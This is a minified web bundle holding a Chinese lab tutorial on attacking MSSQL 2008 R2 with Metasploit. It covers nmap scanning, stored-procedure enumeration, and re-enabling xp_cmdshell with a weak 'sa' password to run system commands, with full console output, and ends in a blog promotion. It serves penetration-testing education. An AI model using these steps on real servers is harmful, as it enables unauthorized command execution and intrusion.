Accounts with Username and Password being the same:\n[*] 192.168.109.139:1433 - No Account with its password being the same as its username was found.\n[*] 192.168.109.139:1433 - Accounts with empty password:\n[*] 192.168.109.139:1433 - No Accounts with empty passwords where found.\n[*] 192.168.109.139:1433 - Stored Procedures with Public Execute Permission found:\n[*] 192.168.109.139:1433 - sp_replsetsyncstatus\n[*] 192.168.109.139:1433 - sp_replcounters\n[*] 192.168.109.139:1433 - sp_replsendtoqueue\n[*] 192.168.109.139:1433 - sp_resyncexecutesql\n[*] 192.168.109.139:1433 - sp_prepexecrpc\n[*] 192.168.109.139:1433 - sp_repltrans\n[*] 192.168.109.139:1433 - sp_xml_preparedocument\n[*] 192.168.109.139:1433 - xp_qv\n[*] 192.168.109.139:1433 - xp_getnetname\n[*] 192.168.109.139:1433 - sp_releaseschemalock\n[*] 192.168.109.139:1433 - sp_refreshview\n[*] 192.168.109.139:1433 - sp_replcmds\n[*] 192.168.109.139:1433 - sp_unprepare\n[*] 192.168.109.139:1433 - sp_resyncprepare\n[*] 192.168.109.139:1433 - sp_createorphan\n[*] 192.168.109.139:1433 - xp_dirtree\n[*] 192.168.109.139:1433 - sp_replwritetovarbin\n[*] 192.168.109.139:1433 - sp_replsetoriginator\n[*] 192.168.109.139:1433 - sp_xml_removedocument\n[*] 192.168.109.139:1433 - sp_repldone\n[*] 192.168.109.139:1433 - sp_reset_connection\n[*] 192.168.109.139:1433 - xp_fileexist\n[*] 192.168.109.139:1433 - xp_fixeddrives\n[*] 192.168.109.139:1433 - sp_getschemalock\n[*] 192.168.109.139:1433 - sp_prepexec\n[*] 192.168.109.139:1433 - xp_revokelogin\n[*] 192.168.109.139:1433 - sp_resyncuniquetable\n[*] 192.168.109.139:1433 - sp_replflush\n[*] 192.168.109.139:1433 - sp_resyncexecute\n[*] 192.168.109.139:1433 - xp_grantlogin\n[*] 192.168.109.139:1433 - sp_droporphans\n[*] 192.168.109.139:1433 - xp_regread\n[*] 192.168.109.139:1433 - sp_getbindtoken\n[*] 192.168.109.139:1433 - sp_replincrementlsn\n[*] 192.168.109.139:1433 - Instances found on this server:\n[*] 192.168.109.139:1433 - MSSQLSERVER\n[*] 192.168.109.139:1433 - Default Server Instance SQL Server Service is running under the privilege of:\n[*] 192.168.109.139:1433 - NT AUTHORITY\\NETWORKSERVICE\n[*] Auxiliary module execution completed\n')])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br"),n("span",{staticClass:"line-number"},[s._v("23")]),n("br"),n("span",{staticClass:"line-number"},[s._v("24")]),n("br"),n("span",{staticClass:"line-number"},[s._v("25")]),n("br"),n("span",{staticClass:"line-number"},[s._v("26")]),n("br"),n("span",{staticClass:"line-number"},[s._v("27")]),n("br"),n("span",{staticClass:"line-number"},[s._v("28")]),n("br"),n("span",{staticClass:"line-number"},[s._v("29")]),n("br"),n("span",{staticClass:"line-number"},[s._v("30")]),n("br"),n("span",{staticClass:"line-number"},[s._v("31")]),n("br"),n("span",{staticClass:"line-number"},[s._v("32")]),n("br"),n("span",{staticClass:"line-number"},[s._v("33")]),n("br"),n("span",{staticClass:"line-number"},[s._v("34")]),n("br"),n("span",{staticClass:"line-number"},[s._v("35")]),n("br"),n("span",{staticClass:"line-number"},[s._v("36")]),n("br"),n("span",{staticClass:"line-number"},[s._v("37")]),n("br"),n("span",{staticClass:"line-number"},[s._v("38")]),n("br"),n("span",{staticClass:"line-number"},[s._v("39")]),n("br"),n("span",{staticClass:"line-number"},[s._v("40")]),n("br"),n("span",{staticClass:"line-number"},[s._v("41")]),n("br"),n("span",{staticClass:"line-number"},[s._v("42")]),n("br"),n("span",{staticClass:"line-number"},[s._v("43")]),n("br"),n("span",{staticClass:"line-number"},[s._v("44")]),n("br"),n("span",{staticClass:"line-number"},[s._v("45")]),n("br"),n("span",{staticClass:"line-number"},[s._v("46")]),n("br"),n("span",{staticClass:"line-number"},[s._v("47")]),n("br"),n("span",{staticClass:"line-number"},[s._v("48")]),n("br"),n("span",{staticClass:"line-number"},[s._v("49")]),n("br"),n("span",{staticClass:"line-number"},[s._v("50")]),n("br"),n("span",{staticClass:"line-number"},[s._v("51")]),n("br"),n("span",{staticClass:"line-number"},[s._v("52")]),n("br"),n("span",{staticClass:"line-number"},[s._v("53")]),n("br"),n("span",{staticClass:"line-number"},[s._v("54")]),n("br"),n("span",{staticClass:"line-number"},[s._v("55")]),n("br"),n("span",{staticClass:"line-number"},[s._v("56")]),n("br"),n("span",{staticClass:"line-number"},[s._v("57")]),n("br"),n("span",{staticClass:"line-number"},[s._v("58")]),n("br"),n("span",{staticClass:"line-number"},[s._v("59")]),n("br"),n("span",{staticClass:"line-number"},[s._v("60")]),n("br"),n("span",{staticClass:"line-number"},[s._v("61")]),n("br"),n("span",{staticClass:"line-number"},[s._v("62")]),n("br"),n("span",{staticClass:"line-number"},[s._v("63")]),n("br"),n("span",{staticClass:"line-number"},[s._v("64")]),n("br"),n("span",{staticClass:"line-number"},[s._v("65")]),n("br"),n("span",{staticClass:"line-number"},[s._v("66")]),n("br"),n("span",{staticClass:"line-number"},[s._v("67")]),n("br"),n("span",{staticClass:"line-number"},[s._v("68")]),n("br"),n("span",{staticClass:"line-number"},[s._v("69")]),n("br"),n("span",{staticClass:"line-number"},[s._v("70")]),n("br"),n("span",{staticClass:"line-number"},[s._v("71")]),n("br"),n("span",{staticClass:"line-number"},[s._v("72")]),n("br"),n("span",{staticClass:"line-number"},[s._v("73")]),n("br"),n("span",{staticClass:"line-number"},[s._v("74")]),n("br"),n("span",{staticClass:"line-number"},[s._v("75")]),n("br"),n("span",{staticClass:"line-number"},[s._v("76")]),n("br"),n("span",{staticClass:"line-number"},[s._v("77")]),n("br"),n("span",{staticClass:"line-number"},[s._v("78")]),n("br"),n("span",{staticClass:"line-number"},[s._v("79")]),n("br"),n("span",{staticClass:"line-number"},[s._v("80")]),n("br"),n("span",{staticClass:"line-number"},[s._v("81")]),n("br"),n("span",{staticClass:"line-number"},[s._v("82")]),n("br"),n("span",{staticClass:"line-number"},[s._v("83")]),n("br"),n("span",{staticClass:"line-number"},[s._v("84")]),n("br"),n("span",{staticClass:"line-number"},[s._v("85")]),n("br"),n("span",{staticClass:"line-number"},[s._v("86")]),n("br"),n("span",{staticClass:"line-number"},[s._v("87")]),n("br"),n("span",{staticClass:"line-number"},[s._v("88")]),n("br"),n("span",{staticClass:"line-number"},[s._v("89")]),n("br"),n("span",{staticClass:"line-number"},[s._v("90")]),n("br"),n("span",{staticClass:"line-number"},[s._v("91")]),n("br"),n("span",{staticClass:"line-number"},[s._v("92")]),n("br"),n("span",{staticClass:"line-number"},[s._v("93")]),n("br"),n("span",{staticClass:"line-number"},[s._v("94")]),n("br"),n("span",{staticClass:"line-number"},[s._v("95")]),n("br"),n("span",{staticClass:"line-number"},[s._v("96")]),n("br"),n("span",{staticClass:"line-number"},[s._v("97")]),n("br"),n("span",{staticClass:"line-number"},[s._v("98")]),n("br"),n("span",{staticClass:"line-number"},[s._v("99")]),n("br"),n("span",{staticClass:"line-number"},[s._v("100")]),n("br"),n("span",{staticClass:"line-number"},[s._v("101")]),n("br"),n("span",{staticClass:"line-number"},[s._v("102")]),n("br"),n("span",{staticClass:"line-number"},[s._v("103")]),n("br"),n("span",{staticClass:"line-number"},[s._v("104")]),n("br"),n("span",{staticClass:"line-number"},[s._v("105")]),n("br"),n("span",{staticClass:"line-number"},[s._v("106")]),n("br"),n("span",{staticClass:"line-number"},[s._v("107")]),n("br"),n("span",{staticClass:"line-number"},[s._v("108")]),n("br"),n("span",{staticClass:"line-number"},[s._v("109")]),n("br"),n("span",{staticClass:"line-number"},[s._v("110")]),n("br"),n("span",{staticClass:"line-number"},[s._v("111")]),n("br"),n("span",{staticClass:"line-number"},[s._v("112")]),n("br"),n("span",{staticClass:"line-number"},[s._v("113")]),n("br"),n("span",{staticClass:"line-number"},[s._v("114")]),n("br"),n("span",{staticClass:"line-number"},[s._v("115")]),n("br"),n("span",{staticClass:"line-number"},[s._v("116")]),n("br"),n("span",{staticClass:"line-number"},[s._v("117")]),n("br"),n("span",{staticClass:"line-number"},[s._v("118")]),n("br"),n("span",{staticClass:"line-number"},[s._v("119")]),n("br"),n("span",{staticClass:"line-number"},[s._v("120")]),n("br"),n("span",{staticClass:"line-number"},[s._v("121")]),n("br"),n("span",{staticClass:"line-number"},[s._v("122")]),n("br"),n("span",{staticClass:"line-number"},[s._v("123")]),n("br"),n("span",{staticClass:"line-number"},[s._v("124")]),n("br"),n("span",{staticClass:"line-number"},[s._v("125")]),n("br"),n("span",{staticClass:"line-number"},[s._v("126")]),n("br"),n("span",{staticClass:"line-number"},[s._v("127")]),n("br"),n("span",{staticClass:"line-number"},[s._v("128")]),n("br")])]),n("h2",{attrs:{id:"重新载入xp-cmd功能"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#重新载入xp-cmd功能"}},[s._v("#")]),s._v(" 重新载入xp_cmd功能")]),s._v(" "),n("p",[s._v("这里用到的是Metasploit的mssql_exec, 通过重新载入禁用的xp_cmdshell功能来运行系统级的命令")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("use auxiliary/admin/mssql/mssql_exec\nshow options\nset CMD 'ipconfig'\nset RHOST 192.168.109.139\nset PASSWORD 123456\nrun\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("msf > use auxiliary/admin/mssql/mssql_exec \nmsf auxiliary(admin/mssql/mssql_exec) > show options\n\nModule options (auxiliary/admin/mssql/mssql_exec):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n CMD cmd.exe /c echo OWNED > C:\\owned.exe no Command to execute\n PASSWORD no The password for the specified username\n RHOST yes The target address\n RPORT 1433 yes The target port (TCP)\n TDSENCRYPTION false yes Use TLS/SSL for TDS data \"Force Encryption\"\n USERNAME sa no The username to authenticate as\n USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)\n\nmsf auxiliary(admin/mssql/mssql_exec) > set CMD 'ipconfig'\nCMD => ipconfig\nmsf auxiliary(admin/mssql/mssql_exec) > set RHOST 192.168.109.139\nRHOST => 192.168.109.139\nmsf auxiliary(admin/mssql/mssql_exec) > set PASSWORD 123456\nPASSWORD => 123456\nmsf auxiliary(admin/mssql/mssql_exec) > run\n\n[*] 192.168.109.139:1433 - SQL Query: EXEC master..xp_cmdshell 'ipconfig'\n\n\n\n output\n ------\n \n Windows IP M�n\n \n \n *g�w�M�hV VPN - VPN Client:\n \n �ZSO�r` . . . . . . . . . . . . : �ZSO�]�e_\n ޏ�cyr�[�v DNS T . . . . . . . : \n \n �N*YQ�M�hV Bluetooth Q�~ޏ�c:\n \n �ZSO�r` . . . . . . . . . . . . : �ZSO�]�e_\n ޏ�cyr�[�v DNS T . . . . . . . : \n \n �N*YQ�M�hV ,g0Wޏ�c:\n \n ޏ�cyr�[�v DNS T . . . . . . . : localdomain\n ,g0W���c IPv6 0W@W. . . . . . . . : fe80::ccb2:bf07:23ba:9925%11\n IPv4 0W@W . . . . . . . . . . . . : 192.168.109.139\n P[Q�cx . . . . . . . . . . . . : 255.255.255.0\n ؞��QsQ. . . . . . . . . . . . . : 192.168.109.2\n \n ��S��M�hV isatap.{5761F2CD-B72F-4D63-9594-8FFF71AE3A2D}:\n \n �ZSO�r` . . . . . . . . . . . . : �ZSO�]�e_\n ޏ�cyr�[�v DNS T . . . . . . . : \n \n ��S��M�hV ,g0Wޏ�c* 6:\n \n �ZSO�r` . . . . . . . . . . . . : �ZSO�]�e_\n ޏ�cyr�[�v DNS T . . . . . . . : \n \n ��S��M�hV isatap.localdomain:\n \n �ZSO�r` . . . . . . . . . . . . : �ZSO�]�e_\n ޏ�cyr�[�v DNS T . . . . . . . : localdomain\n \n ��S��M�hV isatap.{BE1D7C8C-9941-432D-97A0-B5A8B6A37A0B}:\n \n �ZSO�r` . . . . . . . . . . . . : �ZSO�]�e_\n ޏ�cyr�[�v DNS T . . . . . . . : \n \n\n[*] Auxiliary module execution completed\nmsf auxiliary(admin/mssql/mssql_exec) > \n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br"),n("span",{staticClass:"line-number"},[s._v("23")]),n("br"),n("span",{staticClass:"line-number"},[s._v("24")]),n("br"),n("span",{staticClass:"line-number"},[s._v("25")]),n("br"),n("span",{staticClass:"line-number"},[s._v("26")]),n("br"),n("span",{staticClass:"line-number"},[s._v("27")]),n("br"),n("span",{staticClass:"line-number"},[s._v("28")]),n("br"),n("span",{staticClass:"line-number"},[s._v("29")]),n("br"),n("span",{staticClass:"line-number"},[s._v("30")]),n("br"),n("span",{staticClass:"line-number"},[s._v("31")]),n("br"),n("span",{staticClass:"line-number"},[s._v("32")]),n("br"),n("span",{staticClass:"line-number"},[s._v("33")]),n("br"),n("span",{staticClass:"line-number"},[s._v("34")]),n("br"),n("span",{staticClass:"line-number"},[s._v("35")]),n("br"),n("span",{staticClass:"line-number"},[s._v("36")]),n("br"),n("span",{staticClass:"line-number"},[s._v("37")]),n("br"),n("span",{staticClass:"line-number"},[s._v("38")]),n("br"),n("span",{staticClass:"line-number"},[s._v("39")]),n("br"),n("span",{staticClass:"line-number"},[s._v("40")]),n("br"),n("span",{staticClass:"line-number"},[s._v("41")]),n("br"),n("span",{staticClass:"line-number"},[s._v("42")]),n("br"),n("span",{staticClass:"line-number"},[s._v("43")]),n("br"),n("span",{staticClass:"line-number"},[s._v("44")]),n("br"),n("span",{staticClass:"line-number"},[s._v("45")]),n("br"),n("span",{staticClass:"line-number"},[s._v("46")]),n("br"),n("span",{staticClass:"line-number"},[s._v("47")]),n("br"),n("span",{staticClass:"line-number"},[s._v("48")]),n("br"),n("span",{staticClass:"line-number"},[s._v("49")]),n("br"),n("span",{staticClass:"line-number"},[s._v("50")]),n("br"),n("span",{staticClass:"line-number"},[s._v("51")]),n("br"),n("span",{staticClass:"line-number"},[s._v("52")]),n("br"),n("span",{staticClass:"line-number"},[s._v("53")]),n("br"),n("span",{staticClass:"line-number"},[s._v("54")]),n("br"),n("span",{staticClass:"line-number"},[s._v("55")]),n("br"),n("span",{staticClass:"line-number"},[s._v("56")]),n("br"),n("span",{staticClass:"line-number"},[s._v("57")]),n("br"),n("span",{staticClass:"line-number"},[s._v("58")]),n("br"),n("span",{staticClass:"line-number"},[s._v("59")]),n("br"),n("span",{staticClass:"line-number"},[s._v("60")]),n("br"),n("span",{staticClass:"line-number"},[s._v("61")]),n("br"),n("span",{staticClass:"line-number"},[s._v("62")]),n("br"),n("span",{staticClass:"line-number"},[s._v("63")]),n("br"),n("span",{staticClass:"line-number"},[s._v("64")]),n("br"),n("span",{staticClass:"line-number"},[s._v("65")]),n("br"),n("span",{staticClass:"line-number"},[s._v("66")]),n("br"),n("span",{staticClass:"line-number"},[s._v("67")]),n("br"),n("span",{staticClass:"line-number"},[s._v("68")]),n("br"),n("span",{staticClass:"line-number"},[s._v("69")]),n("br"),n("span",{staticClass:"line-number"},[s._v("70")]),n("br"),n("span",{staticClass:"line-number"},[s._v("71")]),n("br"),n("span",{staticClass:"line-number"},[s._v("72")]),n("br"),n("span",{staticClass:"line-number"},[s._v("73")]),n("br"),n("span",{staticClass:"line-number"},[s._v("74")]),n("br")])]),n("h2",{attrs:{id:"运行sql查询命令"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#运行sql查询命令"}},[s._v("#")]),s._v(" 运行SQL查询命令")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("use auxiliary/admin/mssql/mssql_sql\nshow options\nset RHOST 192.168.109.139\nset PASSWORD 123456\nrun\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v('msf > use auxiliary/admin/mssql/mssql_sql\nmsf auxiliary(admin/mssql/mssql_sql) > show options\n\nModule options (auxiliary/admin/mssql/mssql_sql):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n PASSWORD no The password for the specified username\n RHOST yes The target address\n RPORT 1433 yes The target port (TCP)\n SQL select @@version no The SQL query to execute\n TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"\n USERNAME sa no The username to authenticate as\n USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)\n\nmsf auxiliary(admin/mssql/mssql_sql) > set RHOST 192.168.109.139\nRHOST => 192.168.109.139\nmsf auxiliary(admin/mssql/mssql_sql) > set PASSWORD 123456\nPASSWORD => 123456\nmsf auxiliary(admin/mssql/mssql_sql) > run\n\n[*] 192.168.109.139:1433 - SQL Query: select @@version\n[*] 192.168.109.139:1433 - Row Count: 1 (Status: 16 Command: 193)\n\n\n\n NULL\n ----\n Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64) \n Jun 28 2012 08:36:30 \n Copyright (c) Microsoft Corporation\n Express Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)\n\n\n[*] Auxiliary module execution completed\nmsf auxiliary(admin/mssql/mssql_sql) > \n')])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br"),n("span",{staticClass:"line-number"},[s._v("23")]),n("br"),n("span",{staticClass:"line-number"},[s._v("24")]),n("br"),n("span",{staticClass:"line-number"},[s._v("25")]),n("br"),n("span",{staticClass:"line-number"},[s._v("26")]),n("br"),n("span",{staticClass:"line-number"},[s._v("27")]),n("br"),n("span",{staticClass:"line-number"},[s._v("28")]),n("br"),n("span",{staticClass:"line-number"},[s._v("29")]),n("br"),n("span",{staticClass:"line-number"},[s._v("30")]),n("br"),n("span",{staticClass:"line-number"},[s._v("31")]),n("br"),n("span",{staticClass:"line-number"},[s._v("32")]),n("br"),n("span",{staticClass:"line-number"},[s._v("33")]),n("br"),n("span",{staticClass:"line-number"},[s._v("34")]),n("br"),n("span",{staticClass:"line-number"},[s._v("35")]),n("br"),n("span",{staticClass:"line-number"},[s._v("36")]),n("br")])]),n("h2",{attrs:{id:"写在最后"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),n("blockquote",[n("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),n("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),n("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),n("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),n("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),n("p",[n("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);n.default=r.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[250],{540:function(s,n,a){"use strict";a.r(n);var e=a(7),r=Object(e.a)({},(function(){var s=this,n=s._self._c;return n("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[n("h1",{attrs:{id:"metasploit渗透mssql"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#metasploit渗透mssql"}},[s._v("#")]),s._v(" Metasploit渗透MSSQL")]),s._v(" "),n("p",[s._v("攻击机 kali 192.168.109.137")]),s._v(" "),n("p",[s._v("靶机 Win7_x64 192.168.109.139")]),s._v(" "),n("p",[s._v("数据库 MSSQL 2008 R2")]),s._v(" "),n("p",[s._v("MSSQL运行在TCP的1433端口以及UDP的1434端口")]),s._v(" "),n("h2",{attrs:{id:"使用nmap对mssql进行踩点"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#使用nmap对mssql进行踩点"}},[s._v("#")]),s._v(" 使用NMAP对MSSQL进行踩点")]),s._v(" "),n("p",[s._v("这里,我们使用Metasploit自带的db_nmap插件")]),s._v(" "),n("p",[n("strong",[s._v("首先我们对目标的1433端口进行扫描")])]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("db_nmap -sV -p 1433 192.168.109.139\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("msf > db_nmap -sV -p 1433 192.168.109.139\n[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-18 09:56 CST\n[*] Nmap: Nmap scan report for 192.168.109.139\n[*] Nmap: Host is up (0.00035s latency).\n[*] Nmap: PORT STATE SERVICE VERSION\n[*] Nmap: 1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000; SP2\n[*] Nmap: MAC Address: 00:0C:29:4A:EB:E0 (VMware)\n[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows\n[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .\n[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br")])]),n("p",[s._v("可以看到输出了MSSQL的一些信息。")]),s._v(" "),n("p",[n("strong",[s._v("扫描1434端口")])]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("db_nmap -sU -sV -p 1434 192.168.109.139\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("msf > db_nmap -sU -sV -p 1434 192.168.109.139\n[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-18 09:57 CST\n[*] Nmap: Nmap scan report for 192.168.109.139\n[*] Nmap: Host is up (0.00032s latency).\n[*] Nmap: PORT STATE SERVICE VERSION\n[*] Nmap: 1434/udp open ms-sql-m Microsoft SQL Server 10.50.4000.0 (ServerName: LIUYAZHUANG-PC; TCPPort: 1433)\n[*] Nmap: MAC Address: 00:0C:29:4A:EB:E0 (VMware)\n[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows\n[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .\n[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.72 seconds\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br")])]),n("p",[n("strong",[s._v("使用内置的NMap脚本获得一些关于目标数据库的附加信息")])]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("db_nmap -sU --script=ms-sql-info -p 1434 192.168.109.139\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("msf > db_nmap -sU 